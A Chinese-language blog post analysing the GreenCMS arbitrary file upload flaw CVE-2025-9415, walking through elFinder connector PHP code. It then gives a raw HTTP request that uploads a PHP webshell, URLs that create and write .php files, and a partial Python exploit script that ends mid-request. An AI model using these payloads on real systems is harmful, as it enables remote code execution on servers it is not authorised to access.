CVE-2025-9415 漏洞分析:GreenCMS任意文件上传(Upload)及其他漏洞研究-第二部分
GreenCMS 存在一个安全漏洞,该漏洞影响版本 2.3.0603 及之前版本。
连接上次漏洞分析
open方法
protected function open($args) {
$target = $args['target'];
$init = !empty($args['init']);
$tree = !empty($args['tree']);
$volume = $this->volume($target);
$cwd = $volume ? $volume->dir($target, true) : false;
$hash = $init ? 'default folder' : '#'.$target;
// on init request we can get invalid dir hash -
// dir which can not be opened now, but remembered by client,
// so open default dir
if ((!$cwd || !$cwd['read']) && $init) {
$volume = $this->default;
$cwd = $volume->dir($volume->defaultPath(), true);
}
if (!$cwd) {
return array('error' => $this->error(self::ERROR_OPEN, $hash, self::ERROR_DIR_NOT_FOUND));
}
if (!$cwd['read']) {
return array('error' => $this->error(self::ERROR_OPEN, $hash, self::ERROR_PERM_DENIED));
}
$files = array();
// get folders trees
if ($args['tree']) {
foreach ($this->volumes as $id => $v) {
if (($tree = $v->tree('', 0, $cwd['hash'])) != false) {
$files = array_merge($files, $tree);
}
}
}
// get current working directory files list and add to $files if not exists in it
if (($ls = $volume->scandir($cwd['hash'])) === false) {
return array('error' => $this->error(self::ERROR_OPEN, $cwd['name'], $volume->error()));
}
foreach ($ls as $file) {
if (!in_array($file, $files)) {
$files[] = $file;
}
}
$result = array(
'cwd' => $cwd,
'options' => $volume->options($cwd['hash']),
'files' => $files
);
if (!empty($args['init'])) {
$result['api'] = $this->version;
$result['uplMaxSize'] = ini_get('upload_max_filesize');
$result['netDrivers'] = array_keys(self::$netDrivers);
}
return $result;
}这个是核心功能之一,主要目的是打开指定目录并返回其内容
1.参数解析和初始化
protected function open($args) {
$target = $args['target'];
$init = !empty($args['init']);
$tree = !empty($args['tree']);
$volume = $this->volume($target);
$cwd = $volume ? $volume->dir($target, true) : false;
$hash = $init ? 'default folder' : '#'.$target;$target - 要打开的目录哈希,$init - 是否为首次初始化请求,$tree - 是否返回目录树;根据目标哈希找到对应的存储卷,获取目录的详细信息(名称、权限、子项数量等),hash用于错误消息的友好显示。
2.初始化请求的容错处理
if ((!$cwd || !$cwd['read']) && $init) {
$volume = $this->default;
$cwd = $volume->dir($volume->defaultPath(), true);
}客户端的目录可能失效(被删除,权限变更等),使用默认卷的默认路径,确保初始化时总有可显示的目录
3.错误检查
if (!$cwd) {
return array('error' => $this->error(self::ERROR_OPEN, $hash, self::ERROR_DIR_NOT_FOUND));
}
if (!$cwd['read']) {
return array('error' => $this->error(self::ERROR_OPEN, $hash, self::ERROR_PERM_DENIED));
}要确保目录存在、确保有读取权限,最后使用同一的错误格式
4.目录树获取(如果请求)
$files = array();
// get folders trees
if ($args['tree']) {
foreach ($this->volumes as $id => $v) {
if (($tree = $v->tree('', 0, $cwd['hash'])) != false) {
$files = array_merge($files, $tree);
}
}
}首先遍历所有存储卷获取目录树,然后返回完整的目录层次结构;'' - 从根目录开始,0 - 无限深度,$cwd['hash'] - 当前目录哈希(用于高亮显示)
5.当前目录内容获取
if (($ls = $volume->scandir($cwd['hash'])) === false) {
return array('error' => $this->error(self::ERROR_OPEN, $cwd['name'], $volume->error()));
}
foreach ($ls as $file) {
if (!in_array($file, $files)) {
$files[] = $file;
}
}获取当前目录下的所有文件和子目录,确保树形结构中的项目不会重复显示
6.拼接
$result = array(
'cwd' => $cwd, //当前目录信息
'options' => $volume->options($cwd['hash']), //目录操作
'files' => $files //文件列表
);当前的目录信息:名称、路径、权限、文件数量等,该目录支持的操作(上传、创建、删除)
7.初始化信息
if (!empty($args['init'])) {
$result['api'] = $this->version;
$result['uplMaxSize'] = ini_get('upload_max_filesize');
$result['netDrivers'] = array_keys(self::$netDrivers);
}
return $result;
}客户端兼容性检查,PHP配置的最大上传文件大小
拓展:数据结构
在上面说到目录操作,获取目录信息的两个参数详细情况
$cwd
在elFinder.class.php中这里是个起点,调用了dir跟踪这个方法
protected function open($args) {
$target = $args['target'];
$init = !empty($args['init']);
$tree = !empty($args['tree']);
$volume = $this->volume($target);
$cwd = $volume ? $volume->dir($target, true) : false;
$hash = $init ? 'default folder' : '#'.$target;找到elFinderVolumeDriver.class.php中的dir调用了file继续跟踪
public function dir($hash, $resolveLink=false) {
if (($dir = $this->file($hash)) == false) {
return $this->setError(elFinder::ERROR_DIR_NOT_FOUND);
}
if ($resolveLink && !empty($dir['thash'])) {
$dir = $this->file($dir['thash']);
}
return $dir && $dir['mime'] == 'directory' && empty($dir['hidden'])
? $dir
: $this->setError(elFinder::ERROR_NOT_DIR);
}找到elFinderVolumeDriver.class.php中的file调用了stat继续跟踪
public function file($hash) {
$path = $this->decode($hash);
return ($file = $this->stat($path)) ? $file : $this->setError(elFinder::ERROR_FILE_NOT_FOUND);
if (($file = $this->stat($path)) != false) {
if ($realpath) {
$file['realpath'] = $path;
}
return $file;
}
return $this->setError(elFinder::ERROR_FILE_NOT_FOUND);
}找到elFinderVolumeDriver.class.php中的stat调用了_stat继续跟踪
protected function stat($path) {
if ($path === false) {
return false;
}
return isset($this->cache[$path])
? $this->cache[$path]
: $this->updateCache($path, $this->_stat($path));
}最终在elFinderVolumeLocalFileSystem.class.php文件中的_stat方法中记录了基础文件的权限属性等等
protected function _stat($path) {
$stat = array();
if (!file_exists($path)) {
return $stat;
}
//Verifies the given path is the root or is inside the root. Prevents directory traveral.
if (!$this->aroot) {
// for Inheritance class ( not calling parent::configure() )
$this->aroot = realpath($this->root);
}
if (!$this->_inpath($path, $this->aroot)) {
return $stat;
}
if ($path != $this->root && is_link($path)) {
if (($target = $this->readlink($path)) == false
|| $target == $path) {
$stat['mime'] = 'symlink-broken';
$stat['read'] = false;
$stat['write'] = false;
$stat['size'] = 0;
return $stat;
}
$stat['alias'] = $this->_path($target);
$stat['target'] = $target;
$path = $target;
$lstat = lstat($path);
$size = $lstat['size'];
} else {
$size = @filesize($path);
}
$dir = is_dir($path);
$stat['mime'] = $dir ? 'directory' : $this->mimetype($path);
$stat['ts'] = filemtime($path);
$stat['read'] = is_readable($path);
$stat['write'] = is_writable($path);
if ($stat['read']) {
$stat['size'] = $dir ? 0 : $size;
}
return $stat;
}$options
在elFinderVolumeDriver.class.php这个文件中
protected $options = array(
'id' => '',
// root directory path
'path' => '',
// open this path on initial request instead of root path
'startPath' => '',
// how many subdirs levels return per request
'treeDeep' => 1,
// root url, not set to disable sending URL to client (replacement for old "fileURL" option)
'URL' => '',
// directory separator. required by client to show paths correctly
'separator' => DIRECTORY_SEPARATOR,
......ls方法
protected function ls($args) {
$target = $args['target'];
if (($volume = $this->volume($target)) == false
|| ($list = $volume->ls($target)) === false) {
return array('error' => $this->error(self::ERROR_OPEN, '#'.$target));
}
return array('list' => $list);
}获取目标的参数,然后进行对象验证、调用列表方法,最后是错误处理
volume方法的工作方式
protected function volume($hash) {
foreach ($this->volumes as $id => $v) {
if (strpos(''.$hash, $id) === 0) {
return $this->volumes[$id];
}
}
return false;
}遍历所有卷($this->volumes数组,键为卷ID,值为卷实例),检查给定的哈希值是否以卷ID开头(注意:将哈希值转换为字符串进行比较,如果找到匹配的卷,则返回该卷实例,如果没有找到,返回false。
注意:代码中的 strpos(''.$hash, $id) === 0,这里将$hash转换成字符串(用''连接的方式),然后检查$id是否出现在开头(位置0)
tree方法
protected function tree($args) {
$target = $args['target'];
if (($volume = $this->volume($target)) == false
|| ($tree = $volume->tree($target)) == false) {
return array('error' => $this->error(self::ERROR_OPEN, '#'.$target));
}
return array('tree' => $tree);
}这是一个获取目录树结构的方法,目的是返回指定目录的字目录树,通常用于构建文件管理器的树状导航面板。
获取目标目录的哈希标识符,通过volume方法根据哈希前缀找到对应的卷对象,然后调用卷对象中的tree方法
卷对象中tree方法
public function tree($hash='', $deep=0, $exclude='') {
$path = $hash ? $this->decode($hash) : $this->root;
if (($dir = $this->stat($path)) == false || $dir['mime'] != 'directory') {
return false;
}
$dirs = $this->gettree($path, $deep > 0 ? $deep -1 : $this->treeDeep-1, $exclude ? $this->decode($exclude) : null);
array_unshift($dirs, $dir);
return $dirs;
}第一行:$hash:目录的哈希值,默认为空(表示根目录),$deep:要获取的深度,默认为0(可能表示默认深度或无限深度,但实际由$this->treeDeep控制),$exclude:排除的目录(哈希值),默认为空。
第二行:解析路径,如果提供哈希,则解码为实际路径;否则使用卷的根目录。
第四行到第六行:检查路径有效性,使用stat方法获取路径的信息,如果不存在或不是路径,则返回false。
第八行:获取目录树,调用gettree方法递归获取目录树,如果$deep大于0,则使用$deep-1;否则使用$this->treeDeep-1($this->treeDeep是卷的配置项,表示默认深度)。
第九行:添加当前目录,将当前目录的信息插入到目录树数组的开头。
第十一行:返回目录树,这个方法返回的目录树包括当前目录(由array_unshift添加)和其子目录(由gettree获取),深度控制:$deep参数和卷的配置项treeDeep共同决定递归深度。
parents方法
protected function parents($args) {
$target = $args['target'];
if (($volume = $this->volume($target)) == false
|| ($tree = $volume->parents($target)) == false) {
return array('error' => $this->error(self::ERROR_OPEN, '#'.$target));
}
return array('tree' => $tree);
}第二行:参数提取,获取目标目录的哈希标识符
第四行第五行:卷对象查找和调用,跟前面方法一样,都是找到对应的卷并调用方法
这个方法是文件管理器路径导航的核心。
注意:
ls方法:返回平面列表(当前目录的所以文件和文件夹);无嵌套结构(单层列表);用于文件列表(主内容区域显示);包含文件(返回文件和目录)
tree方法:返回目录结构(专注于文件夹层级关系);递归结构(包含子目录的嵌套数据);用于树状导航(构建侧边栏目录树);可能限制深度(避免返回过深的目录结构)
parents方法:线性路径(返回从根目录到当前目录的直线路径);不包含兄弟目录(只包含路径上的目录,不包含其他分支);用于路径导航(构建面包屑或路径显示);顺序重要(保持从根到叶的顺序)
tmb方法
protected function tmb($args) {
$result = array('images' => array());
$targets = $args['targets'];
foreach ($targets as $target) {
if (($volume = $this->volume($target)) != false
&& (($tmb = $volume->tmb($target)) != false)) {
$result['images'][$target] = $tmb;
}
}
return $result;
}1.初始化结果结构
$result = array('images' => array());
创建爱你标准化的返回结构,包含images键来存储缩略图信息
2.获取目标文件列表
$targets = $args['targets'];
接收一个文件哈希数组,支持批量处理多个文件
3.遍历处理每个文件
foreach ($targets as $target) {
if (($volume = $this->volume($target)) != false
&& (($tmb = $volume->tmb($target)) != false)) {
$result['images'][$target] = $tmb;
}
}找到文件对应的卷对象,调用卷对象tmb方法获取缩略图,如果成功获取,将结果存入images数组
这个方法是文件管理器缩略图功能的核心
mkdir方法
protected function mkdir($args) {
$target = $args['target'];
$name = $args['name'];
if (($volume = $this->volume($target)) == false) {
return array('error' => $this->error(self::ERROR_MKDIR, $name, self::ERROR_TRGDIR_NOT_FOUND, '#'.$target));
}
return ($dir = $volume->mkdir($target, $name)) == false
? array('error' => $this->error(self::ERROR_MKDIR, $name, $volume->error()))
: array('added' => array($dir));
}1.参数提取
$target = $args['target']; //父目录的哈希
$name = $args['name']; //要创建的新目录名称2.卷对象验证
if (($volume = $this->volume($target)) == false) {
return array('error' => $this->error(self::ERROR_MKDIR, $name, self::ERROR_TRGDIR_NOT_FOUND, '#'.$target));
}self::ERROR_MKDIR - 操作类型(创建目录);$name - 目标目录名;self::ERROR_TRGDIR_NOT_FOUND - 具体错误原因(目标目录不存在);'#'.$target - 目标目录标识符
3.调用卷的创建目录方法
return ($dir = $volume->mkdir($target, $name)) == false
? array('error' => $this->error(self::ERROR_MKDIR, $name, $volume->error()))
: array('added' => array($dir));这里面使用了三元运算符,成功:$volume->mkdir() 返回新目录信息 → array('added' => array($dir));失败:返回 false → array('error' => $this->error(self::ERROR_MKDIR, $name, $volume->error()))
这个方法是文件管理器目录管理的核心功能(创建新目录)
mkfile方法
protected function mkfile($args) {
$target = $args['target'];
$name = $args['name'];
if (($volume = $this->volume($target)) == false) {
return array('error' => $this->error(self::ERROR_MKFILE, $name, self::ERROR_TRGDIR_NOT_FOUND, '#'.$target));
}
return ($file = $volume->mkfile($target, $args['name'])) == false
? array('error' => $this->error(self::ERROR_MKFILE, $name, $volume->error()))
: array('added' => array($file));
}这个方法与上面的创建目录方法逻辑一样
upload方法
protected function upload($args) {
$target = $args['target'];
$volume = $this->volume($target);
$files = isset($args['FILES']['upload']) && is_array($args['FILES']['upload']) ? $args['FILES']['upload'] : array();
$result = array('added' => array(), 'header' => empty($args['html']) ? false : 'Content-Type: text/html; charset=utf-8');
if (empty($files)) {
return array('error' => $this->error(self::ERROR_UPLOAD, self::ERROR_UPLOAD_NO_FILES), 'header' => $header);
}
if (!$volume) {
return array('error' => $this->error(self::ERROR_UPLOAD, self::ERROR_TRGDIR_NOT_FOUND, '#'.$target), 'header' => $header);
}
foreach ($files['name'] as $i => $name) {
if (($error = $files['error'][$i]) > 0) {
$result['warning'] = $this->error(self::ERROR_UPLOAD_FILE, $name, $error == UPLOAD_ERR_INI_SIZE || $error == UPLOAD_ERR_FORM_SIZE ? self::ERROR_UPLOAD_FILE_SIZE : self::ERROR_UPLOAD_TRANSFER);
$this->uploadDebug = 'Upload error code: '.$error;
break;
}
$tmpname = $files['tmp_name'][$i];
if (($fp = fopen($tmpname, 'rb')) == false) {
$result['warning'] = $this->error(self::ERROR_UPLOAD_FILE, $name, self::ERROR_UPLOAD_TRANSFER);
$this->uploadDebug = 'Upload error: unable open tmp file';
break;
}
if (($file = $volume->upload($fp, $target, $name, $tmpname)) === false) {
$result['warning'] = $this->error(self::ERROR_UPLOAD_FILE, $name, $volume->error());
fclose($fp);
break;
}
fclose($fp);
$result['added'][] = $file;
}
return $result;
}1.参数提取和初始化
$target = $args['target'];
$volume = $this->volume($target);
$files = isset($args['FILES']['upload']) && is_array($args['FILES']['upload']) ? $args['FILES']['upload'] : array();
$result = array('added' => array(), 'header' => empty($args['html']) ? false : 'Content-Type: text/html; charset=utf-8');首先从参数中获取目标路径,然后调用volume方法获取目标卷对象(存储位置),获取之后检查并获取上传的文件数组,如果没有文件则被设为空数组,最后初始化结果数组,包含:added:成功上传的文件列表;header:响应头信息。
2.错误检查
2.1
if (empty($files)) {
return array('error' => $this->error(self::ERROR_UPLOAD, self::ERROR_UPLOAD_NO_FILES), 'header' => $header);
}检查是否有文件被上传,没有则返回错误
2.2
if (!$volume) {
return array('error' => $this->error(self::ERROR_UPLOAD, self::ERROR_TRGDIR_NOT_FOUND, '#'.$target), 'header' => $header);
}检查目标是否存在,不存在则返回错误
3.文件处理
foreach ($files['name'] as $i => $name) {
if (($error = $files['error'][$i]) > 0) {
$result['warning'] = $this->error(self::ERROR_UPLOAD_FILE, $name, $error == UPLOAD_ERR_INI_SIZE || $error == UPLOAD_ERR_FORM_SIZE ? self::ERROR_UPLOAD_FILE_SIZE : self::ERROR_UPLOAD_TRANSFER);
$this->uploadDebug = 'Upload error code: '.$error;
break;
}
$tmpname = $files['tmp_name'][$i];
if (($fp = fopen($tmpname, 'rb')) == false) {
$result['warning'] = $this->error(self::ERROR_UPLOAD_FILE, $name, self::ERROR_UPLOAD_TRANSFER);
$this->uploadDebug = 'Upload error: unable open tmp file';
break;
}
if (($file = $volume->upload($fp, $target, $name, $tmpname)) === false) {
$result['warning'] = $this->error(self::ERROR_UPLOAD_FILE, $name, $volume->error());
fclose($fp);
break;
}
fclose($fp);
$result['added'][] = $file;
}第一行:遍历所有上传的文件;
第二行到第六行:检查文件上传错误码,如果是文件大小错误(INI大小或表单大小)则返回错误,记录调试信息并跳出循环;
第八行:获取临时文件名;
第十行到第十四行:尝试以二进制只读模式打开临时文件,如果打开失败,记录错误并跳出循环;
第十六行到第二十行:调用卷对象的upload方法尝试实际上传,如果上传失败,记录错误,关闭文件并跳出循环;
第二十二行到第二十三行:关闭文件,将成功上传的文件信息添加到结果中。
Upload方法拓展
上面提到了另一个upload(调用卷里面的)
位置在Extend\Elfinder\php\elFinderVolumeDriver.class.php中
public function upload($fp, $dst, $name, $tmpname) {
if ($this->commandDisabled('upload')) {
return $this->setError(elFinder::ERROR_PERM_DENIED);
}
if (($dir = $this->dir($dst)) == false) {
return $this->setError(elFinder::ERROR_TRGDIR_NOT_FOUND, '#'.$dst);
}
if (!$dir['write']) {
return $this->setError(elFinder::ERROR_PERM_DENIED);
}
if (!$this->nameAccepted($name)) {
return $this->setError(elFinder::ERROR_INVALID_NAME);
}
$mime = $this->mimetype($this->mimeDetect == 'internal' ? $name : $tmpname, $name);
if ($mime == 'unknown' && $this->mimeDetect == 'internal') {
$mime = elFinderVolumeDriver::mimetypeInternalDetect($name);
}
// logic based on http://httpd.apache.org/docs/2.2/mod/mod_authz_host.html#order
$allow = $this->mimeAccepted($mime, $this->uploadAllow, null);
$deny = $this->mimeAccepted($mime, $this->uploadDeny, null);
$upload = true; // default to allow
if (strtolower($this->uploadOrder[0]) == 'allow') { // array('allow', 'deny'), default is to 'deny'
$upload = false; // default is deny
if (!$deny && ($allow === true)) { // match only allow
$upload = true;
}// else (both match | no match | match only deny) { deny }
} else { // array('deny', 'allow'), default is to 'allow' - this is the default rule
$upload = true; // default is allow
if (($deny === true) && !$allow) { // match only deny
$upload = false;
} // else (both match | no match | match only allow) { allow }
}
if (!$upload) {
return $this->setError(elFinder::ERROR_UPLOAD_FILE_MIME);
}
if ($this->uploadMaxSize > 0 && filesize($tmpname) > $this->uploadMaxSize) {
return $this->setError(elFinder::ERROR_UPLOAD_FILE_SIZE);
}
$dstpath = $this->decode($dst);
$test = $this->_joinPath($dstpath, $name);
$file = $this->stat($test);
$this->clearcache();
if ($file) { // file exists
if ($this->options['uploadOverwrite']) {
if (!$file['write']) {
return $this->setError(elFinder::ERROR_PERM_DENIED);
} elseif ($file['mime'] == 'directory') {
return $this->setError(elFinder::ERROR_NOT_REPLACE, $name);
}
$this->remove($test);
} else {
$name = $this->uniqueName($dstpath, $name, '-', false);
}
}
$stat = array(
'mime' => $mime,
'width' => 0,
'height' => 0,
'size' => filesize($tmpname));
// $w = $h = 0;
if (strpos($mime, 'image') === 0 && ($s = getimagesize($tmpname))) {
$stat['width'] = $s[0];
$stat['height'] = $s[1];
}
// $this->clearcache();
if (($path = $this->_save($fp, $dstpath, $name, $stat)) == false) {
return false;
}
return $this->stat($path);
}1.方法签名和权限检查
if ($this->commandDisabled('upload')) {
return $this->setError(elFinder::ERROR_PERM_DENIED);
}检查上传功能是否被禁用
2.目标目录验证
if (($dir = $this->dir($dst)) == false) {
return $this->setError(elFinder::ERROR_TRGDIR_NOT_FOUND, '#'.$dst);
}
if (!$dir['write']) {
return $this->setError(elFinder::ERROR_PERM_DENIED);
}验证目标目录是否存在,检查目录是否有写权限
3.文件名验证
if (!$this->nameAccepted($name)) {
return $this->setError(elFinder::ERROR_INVALID_NAME);
}检查文件名是否合法(不含非法字符等)
4.MIME类型检测和验证
$mime = $this->mimetype($this->mimeDetect == 'internal' ? $name : $tmpname, $name);
if ($mime == 'unknown' && $this->mimeDetect == 'internal') {
$mime = elFinderVolumeDriver::mimetypeInternalDetect($name);
}检查文件的MIME类型,如果使用内部检测器且检测失败,则使用备用检测方法
// logic based on http://httpd.apache.org/docs/2.2/mod/mod_authz_host.html#order
$allow = $this->mimeAccepted($mime, $this->uploadAllow, null);
$deny = $this->mimeAccepted($mime, $this->uploadDeny, null);
$upload = true; // default to allow基于Apache的规则顺序进行MIME类型验证,检查是否在允许列表和拒绝列表中
if (strtolower($this->uploadOrder[0]) == 'allow') { // array('allow', 'deny'), default is to 'deny'
$upload = false; // default is deny
if (!$deny && ($allow === true)) { // match only allow
$upload = true;
}// else (both match | no match | match only deny) { deny }
} else { // array('deny', 'allow'), default is to 'allow' - this is the default rule
$upload = true; // default is allow
if (($deny === true) && !$allow) { // match only deny
$upload = false;
} // else (both match | no match | match only allow) { allow }
}
if (!$upload) {
return $this->setError(elFinder::ERROR_UPLOAD_FILE_MIME);
}根据配置的规则顺序决定是否上传,默认规则是deny,allow(先拒绝后允许)
5.文件大小检查
if ($this->uploadMaxSize > 0 && filesize($tmpname) > $this->uploadMaxSize) {
return $this->setError(elFinder::ERROR_UPLOAD_FILE_SIZE);
}检查文件大小是否超过限制
6.处理已存在文件
$dstpath = $this->decode($dst);
$test = $this->_joinPath($dstpath, $name);
$file = $this->stat($test);
$this->clearcache();
if ($file) { // file exists
if ($this->options['uploadOverwrite']) {
if (!$file['write']) {
return $this->setError(elFinder::ERROR_PERM_DENIED);
} elseif ($file['mime'] == 'directory') {
return $this->setError(elFinder::ERROR_NOT_REPLACE, $name);
}
$this->remove($test);
} else {
$name = $this->uniqueName($dstpath, $name, '-', false);
}
}解码目标路径并构造完整文件路径,检查文件是否已存在,如果存在且配置为覆盖,则删除原文件,如果配置不覆盖,则生成唯一文件名
7.收集文件信息并保存
$stat = array(
'mime' => $mime,
'width' => 0,
'height' => 0,
'size' => filesize($tmpname));准备文件元数据
if (strpos($mime, 'image') === 0 && ($s = getimagesize($tmpname))) {
$stat['width'] = $s[0];
$stat['height'] = $s[1];
}如果是图片文件,获取图片尺寸
if (($path = $this->_save($fp, $dstpath, $name, $stat)) == false) {
return false;
}
return $this->stat($path);
}调用_save方法实际保存文件
返回保存后文件的统计信息。
可以看到两个upload方法都没有去过滤敏感信息,尤其是调用卷里面的upload方法
漏洞验证
Upload漏洞验证
首先登录后台然后
查询目录
GET /index.php?m=admin&c=media&a=fileconnect&cmd=open&init=1&tree=1


这里有一条upload上传信息
然后根据这条信息去构造上传的请求
从最开始的定义中知道有几个必要参数
'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false),
也就是cmd=upload&target=xxx
https://xxx.xxx.xxx.xxx/index.php?m=admin&c=media&a=fileconnect
GET /index.php?m=admin&c=media&a=fileconnect HTTP/1.1
Host: xxxx.xxxx.xxxx.xxxx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123def456
Content-Length: 406
Cookie: PHPSESSID=ca1vuem3jfbhfv3ouns1hhpj22
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
------WebKitFormBoundaryABC123def456
Content-Disposition: form-data; name="cmd"
upload
------WebKitFormBoundaryABC123def456
Content-Disposition: form-data; name="target"
l1_XA
------WebKitFormBoundaryABC123def456
Content-Disposition: form-data; name="upload[]"; filename="sh.php"
Content-Type: application/octet-stream
<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123def456--

上面的边界是可以自己生成的
#!/usr/bin/env python3
import random
import string
import uuid
import time
def generate_boundary(style='webkit'):
"""
自动生成multipart/form-data边界字符串
参数:
style: 边界字符串风格,可选值:
'webkit' - WebKit风格 (默认)
'uuid' - UUID风格
'rfc' - RFC标准风格
'timestamp' - 时间戳风格
'hex' - 十六进制风格
'simple' - 简单随机风格
返回:
边界字符串
"""
if style == 'webkit':
# WebKit浏览器风格
return "----WebKitFormBoundary" + ''.join(random.choices(string.ascii_letters + string.digits, k=16))
elif style == 'uuid':
# UUID风格
return f"----FormBoundary{uuid.uuid4().hex[:16]}"
elif style == 'rfc':
# RFC标准风格
chars = string.ascii_letters + string.digits + "_-"
random_part = ''.join(random.choices(chars, k=30))
return f"----Boundary{random_part}"
elif style == 'timestamp':
# 时间戳风格
timestamp = int(time.time() * 1000) % 1000000
random_part = ''.join(random.choices(string.ascii_letters, k=10))
return f"----Boundary{timestamp}{random_part}"
elif style == 'hex':
# 十六进制风格
hex_chars = string.hexdigits.upper()
random_hex = ''.join(random.choices(hex_chars, k=16))
return f"----WebKitFormBoundary{random_hex}"
elif style == 'simple':
# 简单随机风格
return ''.join(random.choices(string.ascii_letters + string.digits, k=30))
else:
# 默认使用WebKit风格
return "----WebKitFormBoundary" + ''.join(random.choices(string.ascii_letters + string.digits, k=16))
# 使用示例
if __name__ == '__main__':
# 生成一个WebKit风格的边界字符串
boundary = generate_boundary('webkit')
print(f"生成的边界字符串: {boundary}")上面是这个编号的漏洞分析,然后还有拓展验证
ls漏洞验证
根据定义中的必要参数构造paylaod
'ls' => array('target' => true, 'mimes' => false)
cmd=ls&target=xxxx
http://xxx.xxx.xxx.xxx/index.php?m=admin&c=media&a=fileconnect&cmd=ls&target=l1_XA

open漏洞验证
这是查看目录的一个命令
'open' => array('target' => false, 'tree' => false, 'init' => false, 'mimes' => false)
cmd=open&init=1&tree=1
cmd=open&target=xxxx&init=1&tree=1
http://xxx.xxx.xxx.xxx/index.php?m=admin&c=media&a=fileconnect&cmd=open&init=1&tree=1

http://xxx.xxx.xxx.xxx/index.php?m=admin&c=media&a=fileconnect&cmd=open&target=xxxx&init=1&tree=1

如果不加target的话是当前upload目录,加了的话就是指定目录
mkdir漏洞验证
'mkdir' => array('target' => true, 'name' => true)
cmd=mkdir&target=xxxx&name=xxxx
http://xxx.xxx.xxx.xxx/index.php?m=admin&c=media&a=fileconnect&cmd=mkdir&target=l1_XA&name=pts


mkfile漏洞验证
'mkfile' => array('target' => true, 'name' => true, 'mimes' => false)
cmd=mkfile&target=xxxx&name=xxxx
http://xxx.xxx.xxx.xxx/index.php?m=admin&c=media&a=fileconnect&cmd=mkfile&target=l1_XA&name=11.php


当然这个是upload下创建,那如果是在刚才创建的目录里面创建一个文件呢?
通过open去查看他的hash信息也就是target值即可



put漏洞验证
既然目录创建了,文件也创建了,那是不是可以往里写?
'put' => array('target' => true, 'content' => '', 'mimes' => false)
cmd=put&target=xxxx&content=xxxx



这是写到根目录下的文件里面的字符串
下面是写到pts目录下文件中的
为了引起不必要的麻烦,我重新生成了一个12.php



因为我系统有linux命令所以可以执行ls
自动化脚本
github找的一个脚本然后用ai改良了一下
Github原脚本链接:https://github.com/Kai-One001/cve-/blob/main/GreenCMS_upload_CVE-2025-9415.py
#!/usr/bin/env python3
import requests
import argparse
import sys
import json
import random
import string
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 全局调试标志
DEBUG = True
def banner():
print(r"""
______ ______ ______ ______ ______ ______ ______
/_____/\ /_____/\ /_____/\ /_____/\ /_____/\ /_____/\ /_____/\
\:::_ \ \ \:::_ \ \ \:::_ \ \ \:::_ \ \ \:::_ \ \ \:::_ \ \ \:::_ \ \
\:\ \ \ \ \:\ \ \ \ \:\ \ \ \ \:\ \ \ \ \:\ \ \ \ \:\ \ \ \ \:\ \ \ \
\:\ \ \ \ \:\ \ \ \ \:\ \ \ \ \:\ \ \ \ \:\ \ \ \ \:\ \ \ \ \:\ \ \ \
\:\/.:| | \:\/.:| | \:\/.:| | \:\/.:| | \:\/.:| | \:\/.:| | \:\/.:| |
\____/_/ \____/_/ \____/_/ \____/_/ \____/_/ \____/_/ \____/_/
""")
print("GreenCMS 文件上传漏洞利用工具 (原始HTTP格式调试)")
print("=" * 60)
def format_raw_http_request(method, url, headers, body):
"""将请求格式化为原始HTTP格式"""
from urllib.parse import urlparse
parsed_url = urlparse(url)
path = parsed_url.path
if parsed_url.query:
path += "?" + parsed_url.query
request_lines = [f"{method} {path} HTTP/1.1"]
request_lines.append(f"Host: {parsed_url.hostname}")
for key, value in headers.items():
if key.lower() != 'host': # 已经单独添加了Host头
request_lines.append(f"{key}: {value}")
request_lines.append("") # 空行分隔头部和主体
if body:
request_lines.append(body)
return "\n".join(request_lines)
def debug_print_raw_request(title, method, url, headers, body):
"""以原始HTTP格式打印请求"""
if DEBUG:
print(f"\n{'=' * 20} {title} {'=' * 20}")
raw_request = format_raw_http_request(method, url, headers, body)
print(raw_request)
print(f"{'=' * (40 + len(title))}\n")
def debug_print_raw_response(title, response):
"""以原始HTTP格式打印响应"""
if DEBUG:
print(f"\n{'=' * 20} {title} {'=' * 20}")
# 状态行
print(f"HTTP/1.1 {response.status_code} {response.reason}")
# 响应头
for key, value in response.headers.items():
print(f"{key}: {value}")
print("") # 空行分隔头部和主体
# 响应体
print(response.text)
print(f"{'=' * (40 + len(title))}\n")
def get_upload_hash(target, session):
"""从服务器动态获取 Upload 目录的 hash"""
if not target.startswith(('http://', 'https://')):
target = 'http://' + target
url = f"{target}/index.php?m=admin&c=media&a=fileconnect&cmd=open&init=1&tree=1"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Connection": "close"
}
print(f"[+] 正在获取 Upload 目录 Hash: {url}")
try:
# 发送请求前打印原始请求格式
debug_print_raw_request("GET 请求原始格式", "GET", url, headers, "")
res = session.get(url, headers=headers, timeout=10, verify=False)
# 打印原始响应格式
debug_print_raw_response("GET 响应原始格式", res)
print(f"[*] 响应码: {res.status_code}")
if res.status_code == 200:
try:
data = res.json()
if "files" in data:
for item in data["files"]:
if item.get("name") == "Upload" and "hash" in item:
upload_hash = item["hash"]
print(f"[+] 成功获取 Upload 目录 Hash: {upload_hash}")
return upload_hash
print("[-] 未在响应中找到 Upload 目录")
except json.JSONDecodeError:
print("[-] 响应不是有效的 JSON 格式")
else:
print(f"[-] 获取 Hash 请求失败: {res.status_code}")
except Exception as e:
print(f"[-] 获取 Hash 时发生错误: {e}")
return None
def upload_webshell(target, upload_hash, session, filename=None):
"""上传 WebShell,返回 (成功, 响应文本, webshell_url)"""
if not target.startswith(('http://', 'https://')):
target = 'http://' + target
url = f"{target}/index.php?m=admin&c=media&a=fileconnect"
# 生成随机文件名
random_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
webshell_name = filename or f"{random_str}.php"
webshell_content = '<?php echo "OK"; system($_GET["cmd"]); ?>'
# 生成边界字符串
boundary = "----WebKitFormBoundary" + ''.join(random.choices(string.ascii_letters + string.digits, k=16))
# 构造请求体 - 使用您指定的格式
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="cmd"\r\n\r\n'
f"upload\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="target"\r\n\r\n'
f"{upload_hash}\r\n"
f"--{boundary}\r\n"
